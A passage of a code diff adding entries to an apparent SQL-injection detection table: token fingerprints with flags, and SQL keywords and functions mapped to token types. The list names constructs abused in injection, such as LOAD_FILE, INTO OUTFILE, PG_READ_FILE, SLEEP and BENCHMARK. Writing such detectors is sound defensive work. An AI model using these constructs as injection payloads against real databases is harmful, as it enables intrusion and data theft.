'F'}, + {"0VUEV)", 'F'}, + {"0VUEV,", 'F'}, + {"0VUEV;", 'F'}, + {"0VUEVB", 'F'}, + {"0VUEVC", 'F'}, + {"0VUEVF", 'F'}, + {"0VUEVK", 'F'}, + {"0VUEVN", 'F'}, + {"0VUEVO", 'F'}, + {"0VUEVS", 'F'}, + {"0VUEVU", 'F'}, + {"0VUF()", 'F'}, + {"0VUF(1", 'F'}, + {"0VUF(F", 'F'}, + {"0VUF(N", 'F'}, + {"0VUF(S", 'F'}, + {"0VUF(V", 'F'}, + {"0VUK(E", 'F'}, + {"0VUO(E", 'F'}, + {"0VUON(", 'F'}, + {"0VUON1", 'F'}, + {"0VUONF", 'F'}, + {"0VUONS", 'F'}, + {"0VUS,(", 'F'}, + {"0VUS,F", 'F'}, + {"0VUSC", 'F'}, + {"0VUSO(", 'F'}, + {"0VUSO1", 'F'}, + {"0VUSOF", 'F'}, + {"0VUSON", 'F'}, + {"0VUSOS", 'F'}, + {"0VUSOV", 'F'}, + {"0VUTN(", 'F'}, + {"0VUTN1", 'F'}, + {"0VUTNF", 'F'}, + {"0VUTNN", 'F'}, + {"0VUTNS", 'F'}, + {"0VUTNV", 'F'}, + {"0VUV,(", 'F'}, + {"0VUV,F", 'F'}, + {"0VUVC", 'F'}, + {"0VUVO(", 'F'}, + {"0VUVOF", 'F'}, + {"0VUVOS", 'F'}, + {"0X", 'F'}, + {"::", 'o'}, + {":=", 'o'}, + {"<<", 'o'}, + {"<=", 'o'}, + {"<>", 'o'}, + {"<@", 'o'}, + {">=", 'o'}, + {">>", 'o'}, + {"@>", 'o'}, + {"ABORT", 'k'}, + {"ABS", 'f'}, + {"ACCESSIBLE", 'k'}, + {"ACOS", 'f'}, + {"ADDDATE", 'f'}, + {"ADDTIME", 'f'}, + {"AES_DECRYPT", 'f'}, + {"AES_ENCRYPT", 'f'}, + {"AGAINST", 'k'}, + {"AGE", 'f'}, + {"ALL_USERS", 'k'}, + {"ALTER", 'k'}, + {"ALTER DOMAIN", 'k'}, + {"ALTER TABLE", 'k'}, + {"ANALYZE", 'k'}, + {"AND", '&'}, + {"ANY", 'f'}, + {"ANYARRAY", 't'}, + {"ANYELEMENT", 't'}, + {"ANYNONARRY", 't'}, + {"APPLOCK_MODE", 'f'}, + {"APPLOCK_TEST", 'f'}, + {"APP_NAME", 'f'}, + {"ARRAY_AGG", 'f'}, + {"ARRAY_CAT", 'f'}, + {"ARRAY_DIM", 'f'}, + {"ARRAY_FILL", 'f'}, + {"ARRAY_LENGTH", 'f'}, + {"ARRAY_LOWER", 'f'}, + {"ARRAY_NDIMS", 'f'}, + {"ARRAY_PREPEND", 'f'}, + {"ARRAY_TO_JSON", 'f'}, + {"ARRAY_TO_STRING", 'f'}, + {"ARRAY_UPPER", 'f'}, + {"AS", 'k'}, + {"ASC", 'k'}, + {"ASCII", 'f'}, + {"ASENSITIVE", 'k'}, + {"ASIN", 'f'}, + {"ASSEMBLYPROPERTY", 'f'}, + {"ASYMKEY_ID", 'f'}, + {"AT TIME", 'n'}, + {"AT TIME ZONE", 'k'}, + {"ATAN", 'f'}, + {"ATAN2", 'f'}, + {"AUTOINCREMENT", 'k'}, + {"AVG", 'f'}, + {"BEFORE", 'k'}, + {"BEGIN", 'T'}, + {"BEGIN DECLARE", 'T'}, + {"BEGIN GOTO", 'T'}, + {"BEGIN TRY", 'T'}, + {"BEGIN TRY DECLARE", 'T'}, + {"BENCHMARK", 'f'}, + {"BETWEEN", 'o'}, + {"BIGINT", 't'}, + {"BIGSERIAL", 't'}, + {"BIN", 'f'}, + {"BINARY", 't'}, + {"BINARY_DOUBLE_INFINITY", '1'}, + {"BINARY_DOUBLE_NAN", '1'}, + {"BINARY_FLOAT_INFINITY", '1'}, + {"BINARY_FLOAT_NAN", '1'}, + {"BINBINARY", 'f'}, + {"BIT_AND", 'f'}, + {"BIT_COUNT", 'f'}, + {"BIT_LENGTH", 'f'}, + {"BIT_OR", 'f'}, + {"BIT_XOR", 'f'}, + {"BLOB", 'k'}, + {"BOOLEAN", 't'}, + {"BOOL_AND", 'f'}, + {"BOOL_OR", 'f'}, + {"BOTH", 'k'}, + {"BTRIM", 'f'}, + {"BY", 'n'}, + {"BYTEA", 't'}, + {"CALL", 'T'}, + {"CASCADE", 'k'}, + {"CASE", 'E'}, + {"CAST", 'f'}, + {"CBOOL", 'f'}, + {"CBRT", 'f'}, + {"CBYTE", 'f'}, + {"CCUR", 'f'}, + {"CDATE", 'f'}, + {"CDBL", 'f'}, + {"CEIL", 'f'}, + {"CEILING", 'f'}, + {"CERTENCODED", 'f'}, + {"CERTPRIVATEKEY", 'f'}, + {"CERT_ID", 'f'}, + {"CERT_PROPERTY", 'f'}, + {"CHANGE", 'k'}, + {"CHANGES", 'f'}, + {"CHAR", 'f'}, + {"CHARACTER", 't'}, + {"CHARACTER VARYING", 't'}, + {"CHARACTER_LENGTH", 'f'}, + {"CHARINDEX", 'f'}, + {"CHARSET", 'f'}, + {"CHAR_LENGTH", 'f'}, + {"CHDIR", 'f'}, + {"CHDRIVE", 'f'}, + {"CHECK", 'n'}, + {"CHECKSUM_AGG", 'f'}, + {"CHOOSE", 'f'}, + {"CHR", 'f'}, + {"CINT", 'f'}, + {"CLNG", 'f'}, + {"CLOCK_TIMESTAMP", 'f'}, + {"COALESCE", 'f'}, + {"COERCIBILITY", 'f'}, + {"COLLATE", 'A'}, + {"COLLATION", 'f'}, + {"COLLATIONPROPERTY", 'f'}, + {"COLUMN", 'k'}, + {"COLUMNPROPERTY", 'f'}, + {"COLUMNS_UPDATED", 'f'}, + {"COL_LENGTH", 'f'}, + {"COL_NAME", 'f'}, + {"COMPRESS", 'f'}, + {"CONCAT", 'f'}, + {"CONCAT_WS", 'f'}, + {"CONDITION", 'k'}, + {"CONNECTION_ID", 'f'}, + {"CONSTRAINT", 'k'}, + {"CONTINUE", 'k'}, + {"CONV", 'f'}, + {"CONVERT", 'f'}, + {"CONVERT_FROM", 'f'}, + {"CONVERT_TO", 'f'}, + {"CONVERT_TZ", 'f'}, + {"COS", 'f'}, + {"COT", 'f'}, + {"COUNT", 'f'}, + {"COUNT_BIG", 'k'}, + {"CRC32", 'f'}, + {"CREATE", 'E'}, + {"CREATE OR", 'n'}, + {"CREATE OR REPLACE", 'T'}, + {"CROSS", 'n'}, + {"CROSS JOIN", 'k'}, + {"CSNG", 'f'}, + {"CSTRING", 't'}, + {"CTXSYS.DRITHSX.SN", 'f'}, + {"CUME_DIST", 'f'}, + {"CURDATE", 'f'}, + {"CURDIR", 'f'}, + {"CURRENT DATE", 'v'}, + {"CURRENT DEGREE", 'v'}, + {"CURRENT FUNCTION", 'v'}, + {"CURRENT FUNCTION PATH", 'v'}, + {"CURRENT PATH", 'v'}, + {"CURRENT SCHEMA", 'v'}, + {"CURRENT SERVER", 'v'}, + {"CURRENT TIME", 'v'}, + {"CURRENT TIMEZONE", 'v'}, + {"CURRENTUSER", 'f'}, + {"CURRENT_DATABASE", 'f'}, + {"CURRENT_DATE", 'v'}, + {"CURRENT_PATH", 'v'}, + {"CURRENT_QUERY", 'f'}, + {"CURRENT_SCHEMA", 'f'}, + {"CURRENT_SCHEMAS", 'f'}, + {"CURRENT_SERVER", 'v'}, + {"CURRENT_SETTING", 'f'}, + {"CURRENT_TIME", 'v'}, + {"CURRENT_TIMESTAMP", 'v'}, + {"CURRENT_TIMEZONE", 'v'}, + {"CURRENT_USER", 'v'}, + {"CURRVAL", 'f'}, + {"CURSOR", 'k'}, + {"CURSOR_STATUS", 'f'}, + {"CURTIME", 'f'}, + {"CVAR", 'f'}, + {"DATABASE", 'n'}, + {"DATABASEPROPERTYEX", 'f'}, + {"DATABASES", 'k'}, + {"DATABASE_PRINCIPAL_ID", 'f'}, + {"DATALENGTH", 'f'}, + {"DATE", 'f'}, + {"DATEADD", 'f'}, + {"DATEDIFF", 'f'}, + {"DATEFROMPARTS", 'f'}, + {"DATENAME", 'f'}, + {"DATEPART", 'f'}, + {"DATESERIAL", 'f'}, + {"DATETIME2FROMPARTS", 'f'}, + {"DATETIMEFROMPARTS", 'f'}, + {"DATETIMEOFFSETFROMPARTS", 'f'}, + {"DATEVALUE", 'f'}, + {"DATE_ADD", 'f'}, + {"DATE_FORMAT", 'f'}, + {"DATE_PART", 'f'}, + {"DATE_SUB", 'f'}, + {"DATE_TRUNC", 'f'}, + {"DAVG", 'f'}, + {"DAY", 'f'}, + {"DAYNAME", 'f'}, + {"DAYOFMONTH", 'f'}, + {"DAYOFWEEK", 'f'}, + {"DAYOFYEAR", 'f'}, + {"DAY_HOUR", 'k'}, + {"DAY_MICROSECOND", 'k'}, + {"DAY_MINUTE", 'k'}, + {"DAY_SECOND", 'k'}, + {"DBMS_LOCK.SLEEP", 'f'}, + {"DBMS_PIPE.RECEIVE_MESSAGE", 'f'}, + {"DBMS_UTILITY.SQLID_TO_SQLHASH", 'f'}, + {"DB_ID", 'f'}, + {"DB_NAME", 'f'}, + {"DCOUNT", 'f'}, + {"DEC", 'k'}, + {"DECIMAL", 't'}, + {"DECLARE", 'T'}, + {"DECODE", 'f'}, + {"DECRYPTBYASMKEY", 'f'}, + {"DECRYPTBYCERT", 'f'}, + {"DECRYPTBYKEY", 'f'}, + {"DECRYPTBYKEYAUTOCERT", 'f'}, + {"DECRYPTBYPASSPHRASE", 'f'}, + {"DEFAULT", 'k'}, + {"DEGREES", 'f'}, + {"DELAY", 'k'}, + {"DELAYED", 'k'}, + {"DELETE", 'T'}, + {"DENSE_RANK", 'f'}, + {"DESC", 'k'}, + {"DESCRIBE", 'k'}, + {"DES_DECRYPT", 'f'}, + {"DES_ENCRYPT", 'f'}, + {"DETERMINISTIC", 'k'}, + {"DFIRST", 'f'}, + {"DIFFERENCE", 'f'}, + {"DISTINCT", 'k'}, + {"DISTINCTROW", 'k'}, + {"DIV", 'o'}, + {"DLAST", 'f'}, + {"DLOOKUP", 'f'}, + {"DMAX", 'f'}, + {"DMIN", 'f'}, + {"DO", 'n'}, + {"DOUBLE", 't'}, + {"DOUBLE PRECISION", 't'}, + {"DROP", 'T'}, + {"DSUM", 'f'}, + {"DUAL", 'n'}, + {"EACH", 'k'}, + {"ELSE", 'k'}, + {"ELSEIF", 'k'}, + {"ELT", 'f'}, + {"ENCLOSED", 'k'}, + {"ENCODE", 'f'}, + {"ENCRYPT", 'f'}, + {"ENCRYPTBYASMKEY", 'f'}, + {"ENCRYPTBYCERT", 'f'}, + {"ENCRYPTBYKEY", 'f'}, + {"ENCRYPTBYPASSPHRASE", 'f'}, + {"ENUM_FIRST", 'f'}, + {"ENUM_LAST", 'f'}, + {"ENUM_RANGE", 'f'}, + {"EOMONTH", 'f'}, + {"EQV", 'o'}, + {"ESCAPED", 'k'}, + {"EVENTDATA", 'f'}, + {"EXCEPT", 'U'}, + {"EXEC", 'T'}, + {"EXECUTE", 'T'}, + {"EXECUTE AS", 'E'}, + {"EXECUTE AS LOGIN", 'E'}, + {"EXISTS", 'f'}, + {"EXIT", 'k'}, + {"EXP", 'f'}, + {"EXPLAIN", 'k'}, + {"EXPORT_SET", 'f'}, + {"EXTRACT", 'f'}, + {"EXTRACTVALUE", 'f'}, + {"EXTRACT_VALUE", 'f'}, + {"FALSE", '1'}, + {"FETCH", 'k'}, + {"FIELD", 'f'}, + {"FILEDATETIME", 'f'}, + {"FILEGROUPPROPERTY", 'f'}, + {"FILEGROUP_ID", 'f'}, + {"FILEGROUP_NAME", 'f'}, + {"FILELEN", 'f'}, + {"FILEPROPERTY", 'f'}, + {"FILETOBLOB", 'f'}, + {"FILETOCLOB", 'f'}, + {"FILE_ID", 'f'}, + {"FILE_IDEX", 'f'}, + {"FILE_NAME", 'f'}, + {"FIND_IN_SET", 'f'}, + {"FIRST_VALUE", 'f'}, + {"FLOAT", 't'}, + {"FLOAT4", 't'}, + {"FLOAT8", 't'}, + {"FLOOR", 'f'}, + {"FN_VIRTUALFILESTATS", 'f'}, + {"FOR", 'n'}, + {"FOR UPDATE", 'k'}, + {"FOR UPDATE NOWAIT", 'k'}, + {"FOR UPDATE OF", 'k'}, + {"FOR UPDATE SKIP", 'k'}, + {"FOR UPDATE SKIP LOCKED", 'k'}, + {"FOR UPDATE WAIT", 'k'}, + {"FORCE", 'k'}, + {"FOREIGN", 'k'}, + {"FORMAT", 'f'}, + {"FOUND_ROWS", 'f'}, + {"FROM", 'k'}, + {"FROM_BASE64", 'f'}, + {"FROM_DAYS", 'f'}, + {"FROM_UNIXTIME", 'f'}, + {"FULL JOIN", 'k'}, + {"FULL OUTER", 'k'}, + {"FULL OUTER JOIN", 'k'}, + {"FULLTEXT", 'k'}, + {"FULLTEXTCATALOGPROPERTY", 'f'}, + {"FULLTEXTSERVICEPROPERTY", 'f'}, + {"FUNCTION", 'k'}, + {"GENERATE_SERIES", 'f'}, + {"GENERATE_SUBSCRIPTS", 'f'}, + {"GETATTR", 'f'}, + {"GETDATE", 'f'}, + {"GETUTCDATE", 'f'}, + {"GET_BIT", 'f'}, + {"GET_BYTE", 'f'}, + {"GET_FORMAT", 'f'}, + {"GET_LOCK", 'f'}, + {"GO", 'T'}, + {"GOTO", 'T'}, + {"GRANT", 'k'}, + {"GREATEST", 'f'}, + {"GROUP", 'n'}, + {"GROUP BY", 'B'}, + {"GROUPING", 'f'}, + {"GROUPING_ID", 'f'}, + {"GROUP_CONCAT", 'f'}, + {"HANDLER", 'T'}, + {"HASHBYTES", 'f'}, + {"HAS_PERMS_BY_NAME", 'f'}, + {"HAVING", 'B'}, + {"HEX", 'f'}, + {"HIGH_PRIORITY", 'k'}, + {"HOST_NAME", 'f'}, + {"HOUR", 'f'}, + {"HOUR_MICROSECOND", 'k'}, + {"HOUR_MINUTE", 'k'}, + {"HOUR_SECOND", 'k'}, + {"IDENTIFY", 'f'}, + {"IDENT_CURRENT", 'f'}, + {"IDENT_INCR", 'f'}, + {"IDENT_SEED", 'f'}, + {"IF", 'f'}, + {"IF EXISTS", 'f'}, + {"IF NOT", 'f'}, + {"IF NOT EXISTS", 'f'}, + {"IFF", 'f'}, + {"IFNULL", 'f'}, + {"IGNORE", 'k'}, + {"IIF", 'f'}, + {"IN", 'k'}, + {"IN BOOLEAN", 'n'}, + {"IN BOOLEAN MODE", 'k'}, + {"INDEX", 'k'}, + {"INDEXKEY_PROPERTY", 'f'}, + {"INDEXPROPERTY", 'f'}, + {"INDEX_COL", 'f'}, + {"INET_ATON", 'f'}, + {"INET_NTOA", 'f'}, + {"INFILE", 'k'}, + {"INITCAP", 'f'}, + {"INNER", 'k'}, + {"INNER JOIN", 'k'}, + {"INOUT", 'k'}, + {"INSENSITIVE", 'k'}, + {"INSERT", 'E'}, + {"INSERT DELAYED", 'E'}, + {"INSERT DELAYED INTO", 'T'}, + {"INSERT HIGH_PRIORITY", 'E'}, + {"INSERT HIGH_PRIORITY INTO", 'T'}, + {"INSERT IGNORE", 'E'}, + {"INSERT IGNORE INTO", 'T'}, + {"INSERT INTO", 'T'}, + {"INSERT LOW_PRIORITY", 'E'}, + {"INSERT LOW_PRIORITY INTO", 'T'}, + {"INSTR", 'f'}, + {"INSTRREV", 'f'}, + {"INT", 't'}, + {"INT1", 't'}, + {"INT2", 't'}, + {"INT3", 't'}, + {"INT4", 't'}, + {"INT8", 't'}, + {"INTEGER", 't'}, + {"INTERSECT", 'U'}, + {"INTERSECT ALL", 'U'}, + {"INTERVAL", 'k'}, + {"INTO", 'k'}, + {"INTO DUMPFILE", 'k'}, + {"INTO OUTFILE", 'k'}, + {"IS", 'o'}, + {"IS DISTINCT", 'n'}, + {"IS DISTINCT FROM", 'o'}, + {"IS NOT", 'o'}, + {"IS NOT DISTINCT", 'n'}, + {"IS NOT DISTINCT FROM", 'o'}, + {"ISDATE", 'f'}, + {"ISEMPTY", 'f'}, + {"ISFINITE", 'f'}, + {"ISNULL", 'f'}, + {"ISNUMERIC", 'f'}, + {"IS_FREE_LOCK", 'f'}, + {"IS_MEMBER", 'f'}, + {"IS_OBJECTSIGNED", 'f'}, + {"IS_ROLEMEMBER", 'f'}, + {"IS_SRVROLEMEMBER", 'f'}, + {"IS_USED_LOCK", 'f'}, + {"ITERATE", 'k'}, + {"JOIN", 'k'}, + {"JSON_KEYS", 'f'}, + {"JULIANDAY", 'f'}, + {"JUSTIFY_DAYS", 'f'}, + {"JUSTIFY_HOURS", 'f'}, + {"JUSTIFY_INTERVAL", 'f'}, + {"KEYS", 'k'}, + {"KEY_GUID", 'f'}, + {"KEY_ID", 'f'}, + {"KILL", 'k'}, + {"LAG", 'f'}, + {"LASTVAL", 'f'}, + {"LAST_INSERT_ID", 'f'}, + {"LAST_INSERT_ROWID", 'f'}, + {"LAST_VALUE", 'f'}, + {"LCASE", 'f'}, + {"LEAD", 'f'}, + {"LEADING", 'k'}, + {"LEAST", 'f'}, + {"LEAVE", 'k'}, + {"LEFT", 'f'}, + {"LEFT JOIN", 'k'}, + {"LEFT OUTER", 'k'}, + {"LEFT OUTER JOIN", 'k'}, + {"LENGTH", 'f'}, + {"LIKE", 'o'}, + {"LIMIT", 'B'}, + {"LINEAR", 'k'}, + {"LINES", 'k'}, + {"LN", 'f'}, + {"LOAD", 'k'}, + {"LOAD DATA", 'T'}, + {"LOAD XML", 'T'}, + {"LOAD_EXTENSION", 'f'}, + {"LOAD_FILE", 'f'}, + {"LOCALTIME", 'v'}, + {"LOCALTIMESTAMP", 'v'}, + {"LOCATE", 'f'}, + {"LOCK", 'n'}, + {"LOCK IN", 'n'}, + {"LOCK IN SHARE", 'n'}, + {"LOCK IN SHARE MODE", 'k'}, + {"LOCK TABLE", 'k'}, + {"LOCK TABLES", 'k'}, + {"LOG", 'f'}, + {"LOG10", 'f'}, + {"LOG2", 'f'}, + {"LONGBLOB", 'k'}, + {"LONGTEXT", 'k'}, + {"LOOP", 'k'}, + {"LOWER", 'f'}, + {"LOWER_INC", 'f'}, + {"LOWER_INF", 'f'}, + {"LOW_PRIORITY", 'k'}, + {"LPAD", 'f'}, + {"LTRIM", 'f'}, + {"MAKEDATE", 'f'}, + {"MAKE_SET", 'f'}, + {"MASKLEN", 'f'}, + {"MASTER_BIND", 'k'}, + {"MASTER_POS_WAIT", 'f'}, + {"MASTER_SSL_VERIFY_SERVER_CERT", 'k'}, + {"MATCH", 'k'}, + {"MAX", 'f'}, + {"MAXVALUE", 'k'}, + {"MD5", 'f'}, + {"MEDIUMBLOB", 'k'}, + {"MEDIUMINT", 'k'}, + {"MEDIUMTEXT", 'k'}, + {"MERGE", 'k'}, + {"MICROSECOND", 'f'}, + {"MID", 'f'}, + {"MIDDLEINT", 'k'}, + {"MIN", 'f'}, + {"MINUTE", 'f'}, + {"MINUTE_MICROSECOND", 'k'}, + {"MINUTE_SECOND", 'k'}, + {"MKDIR", 'f'}, + {"MOD", 'o'}, + {"MODE", 'n'}, + {"MODIFIES", 'k'}, + {"MONEY", 't'}, + {"MONTH", 'f'}, + {"MONTHNAME", 'f'}, + {"NAME_CONST", 'f'}, + {"NATURAL", 'n'}, + {"NATURAL FULL", 'k'}, + {"NATURAL FULL OUTER JOIN", 'k'}, + {"NATURAL INNER", 'k'}, + {"NATURAL JOIN", 'k'}, + {"NATURAL LEFT", 'k'}, + {"NATURAL LEFT OUTER", 'k'}, + {"NATURAL LEFT OUTER JOIN", 'k'}, + {"NATURAL OUTER", 'k'}, + {"NATURAL RIGHT", 'k'}, + {"NATURAL RIGHT OUTER JOIN", 'k'}, + {"NETMASK", 'f'}, + {"NEXT VALUE", 'n'}, + {"NEXT VALUE FOR", 'k'}, + {"NEXTVAL", 'f'}, + {"NOT", 'o'}, + {"NOT BETWEEN", 'o'}, + {"NOT IN", 'k'}, + {"NOT LIKE", 'o'}, + {"NOT REGEXP", 'o'}, + {"NOT RLIKE", 'o'}, + {"NOT SIMILAR", 'o'}, + {"NOT SIMILAR TO", 'o'}, + {"NOTNULL", 'k'}, + {"NOW", 'f'}, + {"NOWAIT", 'k'}, + {"NO_WRITE_TO_BINLOG", 'k'}, + {"NTH_VALUE", 'f'}, + {"NTILE", 'f'}, + {"NULL", 'v'}, + {"NULLIF", 'f'}, + {"NUMERIC", 't'}, + {"NZ", 'f'}, + {"OBJECTPROPERTY", 'f'}, + {"OBJECTPROPERTYEX", 'f'}, + {"OBJECT_DEFINITION", 'f'}, + {"OBJECT_ID", 'f'}, + {"OBJECT_NAME", 'f'}, + {"OBJECT_SCHEMA_NAME", 'f'}, + {"OCT", 'f'}, + {"OCTET_LENGTH", 'f'}, + {"OFFSET", 'k'}, + {"OID", 't'}, + {"OLD_PASSWORD", 'f'}, + {"ONE_SHOT", 'k'}, + {"OPEN", 'k'}, + {"OPENDATASOURCE", 'f'}, + {"OPENQUERY", 'f'}, + {"OPENROWSET", 'f'}, + {"OPENXML", 'f'}, + {"OPTIMIZE", 'k'}, + {"OPTION", 'k'}, + {"OPTIONALLY", 'k'}, + {"OR", '&'}, + {"ORD", 'f'}, + {"ORDER", 'n'}, + {"ORDER BY", 'B'}, + {"ORIGINAL_DB_NAME", 'f'}, + {"ORIGINAL_LOGIN", 'f'}, + {"OUT", 'n'}, + {"OUTER", 'n'}, + {"OUTFILE", 'k'}, + {"OVERLAPS", 'f'}, + {"OVERLAY", 'f'}, + {"OWN3D", 'k'}, + {"OWN3D BY", 'B'}, + {"PARSENAME", 'f'}, + {"PARTITION", 'k'}, + {"PARTITION BY", 'B'}, + {"PASSWORD", 'n'}, + {"PATHINDEX", 'f'}, + {"PATINDEX", 'f'}, + {"PERCENTILE_COUNT", 'f'}, + {"PERCENTILE_DISC", 'f'}, + {"PERCENTILE_RANK", 'f'}, + {"PERCENT_RANK", 'f'}, + {"PERIOD_ADD", 'f'}, + {"PERIOD_DIFF", 'f'}, + {"PERMISSIONS", 'f'}, + {"PG_ADVISORY_LOCK", 'f'}, + {"PG_BACKEND_PID", 'f'}, + {"PG_CANCEL_BACKEND", 'f'}, + {"PG_CLIENT_ENCODING", 'f'}, + {"PG_CONF_LOAD_TIME", 'f'}, + {"PG_CREATE_RESTORE_POINT", 'f'}, + {"PG_HAS_ROLE", 'f'}, + {"PG_IS_IN_RECOVERY", 'f'}, + {"PG_IS_OTHER_TEMP_SCHEMA", 'f'}, + {"PG_LISTENING_CHANNELS", 'f'}, + {"PG_LS_DIR", 'f'}, + {"PG_MY_TEMP_SCHEMA", 'f'}, + {"PG_POSTMASTER_START_TIME", 'f'}, + {"PG_READ_BINARY_FILE", 'f'}, + {"PG_READ_FILE", 'f'}, + {"PG_RELOAD_CONF", 'f'}, + {"PG_ROTATE_LOGFILE", 'f'}, + {"PG_SLEEP", 'f'}, + {"PG_START_BACKUP", 'f'}, + {"PG_STAT_FILE", 'f'}, + {"PG_STOP_BACKUP", 'f'}, + {"PG_SWITCH_XLOG", 'f'}, + {"PG_TERMINATE_BACKEND", 'f'}, + {"PG_TRIGGER_DEPTH", 'f'}, + {"PI", 'f'}, + {"POSITION", 'f'}, + {"POW", 'f'}, + {"POWER", 'f'}, + {"PRECISION", 'k'}, + {"PREVIOUS VALUE", 'n'}, + {"PREVIOUS VALUE FOR", 'k'}, + {"PRIMARY", 'k'}, + {"PRINT", 'T'}, + {"PROCEDURE", 'k'}, + {"PROCEDURE ANALYSE", 'f'}, + {"PUBLISHINGSERVERNAME", 'f'}, + {"PURGE", 'k'}, + {"PWDCOMPARE", 'f'}, + {"PWDENCRYPT", 'f'}, + {"QUARTER", 'f'}, + {"QUOTE", 'f'}, + {"QUOTENAME", 'f'}, + {"QUOTE_IDENT", 'f'}, + {"QUOTE_LITERAL", 'f'}, + {"QUOTE_NULLABLE", 'f'}, + {"RADIANS", 'f'}, + {"RAISEERROR", 'E'}, + {"RAND", 'f'}, + {"RANDOM", 'f'}, + {"RANDOMBLOB", 'f'}, + {"RANGE", 'k'}, + {"RANK", 'f'}, + {"READ", 'k'}, + {"READ WRITE", 'k'}, + {"READS", 'k'}, + {"READ_WRITE", 'k'}, + {"REAL", 't'}, + {"REFERENCES", 'k'}, + {"REGCLASS", 't'}, + {"REGCONFIG", 't'}, + {"REGDICTIONARY", 't'}, + {"REGEXP", 'o'}, + {"REGEXP_INSTR", 'f'}, + {"REGEXP_MATCHES", 'f'}, + {"REGEXP_REPLACE", 'f'}, + {"REGEXP_SPLIT_TO_ARRAY", 'f'}, + {"REGEXP_SPLIT_TO_TABLE", 'f'}, + {"REGEXP_SUBSTR", 'f'}, + {"REGOPER", 't'}, + {"REGOPERATOR", 't'}, + {"REGPROC", 't'}, + {"REGPROCEDURE", 't'}, + {"REGTYPE", 't'}, + {"RELEASE", 'k'}, + {"RELEASE_LOCK", 'f'}, + {"RENAME", 'k'}, + {"REPEAT", 'k'}, + {"REPLACE", 'k'}, + {"REPLICATE", 'f'}, + {"REQUIRE", 'k'}, + {"RESIGNAL", 'k'}, + {"RESTRICT", 'k'}, + {"RETURN", 'k'}, + {"REVERSE", 'f'}, + {"REVOKE", 'k'}, + {"RIGHT", 'n'}, + {"RIGHT JOIN", 'k'}, + {"RIGHT OUTER", 'k'}, + {"RIGHT OUTER JOIN", 'k'}, + {"RLIKE", 'o'}, + {"ROUND", 'f'}, + {"ROW", 'f'}, + {"ROW_COUNT", 'f'}, + {"ROW_NUMBER", 'f'}, + {"ROW_TO_JSON", 'f'}, + {"RPAD", 'f'}, + {"RTRIM", 'f'}, + {"SCHAMA_NAME", 'f'}, + {"SCHEMA", 'k'}, + {"SCHEMAS", 'k'}, + {"SCHEMA_ID", 'f'}, + {"SCOPE_IDENTITY", 'f'}, + {"SECOND_MICROSECOND", 'k'}, + {"SEC_TO_TIME", 'f'}, + {"SELECT", 'E'}, + {"SELECT ALL", 'E'}, + {"SELECT DISTINCT", 'E'}, + {"SENSITIVE", 'k'}, + {"SEPARATOR", 'k'}, + {"SERIAL", 't'}, + {"SERIAL2", 't'}, + {"SERIAL4", 't'}, + {"SERIAL8", 't'}, + {"SERVERPROPERTY", 'f'}, + {"SESSION_USER", 'f'}, + {"SET", 'E'}, + {"SETATTR", 'f'}, + {"SETSEED", 'f'}, + {"SETVAL", 'f'}, + {"SET_BIT", 'f'}, + {"SET_BYTE", 'f'}, + {"SET_CONFIG", 'f'}, + {"SET_MASKLEN", 'f'}, + {"SHA", 'f'}, + {"SHA1", 'f'}, + {"SHA2", 'f'}, + {"SHOW", 'n'}, + {"SHUTDOWN", 'T'}, + {"SIGN", 'f'}, + {"SIGNAL", 'k'}, + {"SIGNBYASMKEY", 'f'}, + {"SIGNBYCERT", 'f'}, + {"SIMILAR", 'k'}, + {"SIMILAR TO", 'o'}, + {"SIN", 'f'}, + {"SLEEP", 'f'}, + {"SMALLDATETIMEFROMPARTS", 'f'}, + {"SMALLINT", 't'}, + {"SMALLSERIAL", 't'}, + {"SOME", 'f'}, + {"SOUNDEX", 'f'}, + {"SOUNDS", 'o'}, + {"SOUNDS LIKE", 'o'}, + {"SPACE", 'f'}, + {"SPATIAL", 'k'}, + {"SPECIFIC", 'k'}, + {"SPLIT_PART", 'f'}, + {"SQL", 'k'}, + {"SQLEXCEPTION", 'k'}, + {"SQLITE_VERSION", 'f'}, + {"SQLSTATE", 'k'}, + {"SQLWARNING", 'k'}, + {"SQL_BIG_RESULT", 'k'}, + {"SQL_BUFFER_RESULT", 'k'}, + {"SQL_CACHE", 'k'}, + {"SQL_CALC_FOUND_ROWS", 'k'}, + {"SQL_NO_CACHE", 'k'}, + {"SQL_SMALL_RESULT", 'k'}, + {"SQL_VARIANT_PROPERTY", 'f'}, + {"SQRT", 'f'}, + {"SSL", 'k'}, + {"STARTING", 'k'}, + {"STATEMENT_TIMESTAMP", 'f'}, + {"STATS_DATE", 'f'}, + {"STDDEV", 'f'}, + {"STDDEV_POP", 'f'}, + {"STDDEV_SAMP", 'f'}, + {"STRAIGHT_JOIN", 'k'}, + {"STRCMP", 'f'}, + {"STRCOMP", 'f'}, + {"STRCONV", 'f'}, + {"STRING_AGG", 'f'}, + {"STRING_TO_ARRAY", 'f'}, + {"STRPOS", 'f'}, + {"STR_TO_DATE", 'f'}, + {"STUFF", 'f'}, + {"SUBDATE", 'f'}, + {"SUBSTR", 'f'}, + {"SUBSTRING", 'f'}, + {"SUBSTRING_INDEX", 'f'}, + {"SUBTIME", 'f'}, + {"SUM", 'f'}, + {"SUSER_ID", 'f'}, + {"SUSER_NAME", 'f'}, + {"SUSER_SID", 'f'}, + {"SUSER_SNAME", 'f'}, + {"SWITCHOFFET", 'f'}, + {"SYS.DATABASE_NAME", 'n'}, + {"SYS.FN_BUILTIN_PERMISSIONS", 'f'}, + {"SYS.FN_GET_AUDIT_FILE", 'f'}, + {"SYS.FN_MY_PERMISSIONS", 'f'}, + {"SYS.STRAGG", 'f'}, + {"SYSCOLUMNS", 'k'}, + {"SYSDATE", 'f'}, + {"SYSDATETIME", 'f'}, + {"SYSDATETIMEOFFSET", 'f'}, + {"SYSOBJECTS", 'k'}, + {"SYSTEM_USER", 'f'}, + {"SYSUSERS", 'k'}, + {"SYSUTCDATETME", 'f'}, + {"TABLE", 'n'}, + {"TAN", 'f'}, + {"TERMINATED", 'k'}, + {"TERTIARY_WEIGHTS", 'f'}, + {"TEXT", 't'}, + {"TEXTPOS", 'f'}, + {"TEXTPTR", 'f'}, + {"TEXTVALID", 'f'}, + {"THEN", 'k'}, + {"TIME", 'k'}, + {"TIMEDIFF", 'f'}, + {"TIMEFROMPARTS", 'f'}, + {"TIMEOFDAY", 'f'}, + {"TIMESERIAL", 'f'}, + {"TIMESTAMP", 't'}, + {"TIMESTAMPADD", 'f'}, + {"TIMEVALUE", 'f'}, + {"TIME_FORMAT", 'f'}, + {"TIME_TO_SEC", 'f'}, + {"TINYBLOB", 'k'}, + 